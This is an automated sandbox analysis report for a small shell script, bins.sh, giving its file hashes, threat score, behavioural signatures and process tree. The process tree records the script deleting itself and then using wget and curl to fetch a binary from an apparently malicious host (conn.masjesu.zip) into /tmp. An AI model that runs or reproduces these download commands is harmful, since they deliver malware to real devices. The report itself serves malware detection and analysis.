Analysis
- max time kernel
150s - max time network
6s - platform
debian-9_mips - resource
debian9-mipsbe-20240611-en - resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
17/11/2024, 23:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
3 signatures
150 seconds
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
3 signatures
150 seconds
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
2 signatures
150 seconds
General
- Target bins.sh
- Size 10KB
- Sample241117-3fd5ms1brh
- SHA256 d11a05e5dd4127c13c363436d8c0643b2db4508b5b9c39d0dc827f3e0cba8618
- MD5 36d214b286d9036fbb1802955e770154
- SHA1 d6c65d165ccd18f6133ec9e68b6c0ff35f9bbbd1
- SHA512 efd9e86917a1edbc255efc07190601eab688450fdfb0eb0fad73d8178a57d7203e8a1fb8bbd2ec157775f4cb4a37827ffd6e665f458c8493ca3c01a2cc54a98c
- SSDEEP 96:YV1tTvu1XrdLTvHDUNUNU/8YyXrlddILueeLRJYyE/Uj/jLPAP8PT6AlXB5wLzPW:J7nQii/8Yv+jasxOM30ii/8YwtL
- MD5 SHA1 SHA512 SSDEEP
Score
3/10
Malware Config
Signatures
-
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl - System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 717 wget 735 curl - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:712
-
/bin/rm/bin/rm bins.sh2⤵PID:715
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:717
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb2⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:735
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb
- Size 112KB
- SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
- MD5 05d7857dcead18bbd86d2935f591873c
- SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
- SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
- SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
- MD5 SHA1 SHA512 SSDEEP